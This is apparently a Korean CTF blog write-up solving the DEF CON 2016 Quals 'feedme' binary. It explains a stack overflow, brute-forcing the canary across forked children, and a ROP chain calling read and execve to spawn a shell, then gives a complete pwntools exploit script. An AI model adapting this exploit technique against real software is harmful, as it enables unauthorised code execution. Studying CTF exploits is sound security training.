[Defcon 2016 Quals] feedme
항상 그렇지만... 삽질을 했다..
일단 바이너리 feedme를 주는데, 32비트 파일이다. stripped되있고 static compile되있어서 분석하는데 시간이 걸렸다 ㅡㅡ;
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
바이너리를 실행하면 "FEED ME!"라고 나오면서 사용자로부터 입력받는데
첫 1바이트로 사용자로부터 얼마나 받을지를 결정하고, 그만큼 받는데 여기서 BOF가 일어난다.
그런데 중간에 Canary가 있어서 이 canary 우회가 필요하다.
이 프로그램에서는 FORK를 해서 프로그램이 끝나면 다시 자식으로 fork해서 실행하기때문에 항상 카나리값이 같으므로 bruteforce해서 카나리값을 알아낼 수 있다. 버퍼가 32만큼 있고 카나리가 4바이트가 있어서 32+예상되는 카나리값을 입력해서 *** stack smashing detected *** 가 뜬다면 카나리값이 틀린것이고 안뜬다면 맞는다는 것이므로 1바이트씩 브루트포싱하면 된다.
이렇게 Canary값을 알아내고 return address를 덮어서 프로그램 흐름을 조작할 수 있다.
그런데 static compile되있고 stripped되있어서 어디로 뛰어야할지 몰랐는데
syscall을 사용하면 된다는 것을 알게되었다.
sys_read(stdin, bss영역, 8) 해서 bss영역에 "/bin/sh\00"을 쓰고
sys_execve("/bin/sh\00", 0, 0) 해서 쉘을 실행시키면 된다.
필요한 가젯과 값은 아래 코드에 다 들어있다.
여기서 조심해야할 것은 sys_execve실행할 때 인자를 "/bin/sh\00"이 있는 주소와 NULL값 2개로 넣어주는 것이다.
"/bin/sh"를 넣거나 "/bin/sh;#"등을 넣으면 sys_execve로 실행이 안된다 ㅡㅡ; 이것때문에 개고생....
그리고 read해서 쓸때에도 8바이트를 넣어줘야 null바이트까지 읽고 써준다.
Exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from pwn import * #context.log_level = 'debug' p = process("./feedme") e= ELF('./feedme') def FEED_ME(food): p.sendafter("FEED ME!",chr(len(food))) p.send(food) canary = "" for i in range(0,4): for c in range(0,256): FEED_ME("A"*32+canary+chr(c)) if not "*** stack smashing detected ***" in p.recvuntil("Child exit."): canary+=chr(c) break log.info("canary : 0x%x " % u32(canary)) bss = e.bss() # bss address pop_eax = 0x809e17a #pop eax, pop ebx, pop esi, pop edi, ret pop_dcb = 0x806f370 #pop edx, pop ecx, pop ebx syscall_ret = 0x806fa20 # int 0x80; ret payload = "A"*32 # buffer payload += canary # cannary payload += "B"*8+"CCCC" # dummy + sfp payload += p32(pop_eax) # ret payload += p32(0x03)+"AAAA"*3 #sys_read payload += p32(pop_dcb) # sys_read(0, bss, 8); payload += p32(8) #/bin/sh\00 length payload += p32(bss) payload += p32(0) #stdin payload += p32(syscall_ret) # syscall payload += p32(pop_eax) payload += p32(0x0b)+"AAAA"*3 #sys_execve #http://syscalls.kernelgrok.com/ payload += p32(pop_dcb) #sys_execve("/bin/sh", 0, 0); payload += p32(0)*2 payload += p32(bss) payload += p32(syscall_ret) # syscall payload += "BBBB" print(FEED_ME(payload)) p.send("/bin/sh\00") p.interactive() | cs |
'Write-up > Pwnable' 카테고리의 다른 글
[MeePwnCTF 2018] one_shot (대회 당시 삽질한 글) (0) | 2018.07.26 |
---|---|
[RCTF 2017] Recho (0) | 2018.07.10 |
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |
[Byte Bandits CTF] Tale of a Twisted Mind (0) | 2018.06.02 |
[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기 (0) | 2018.05.28 |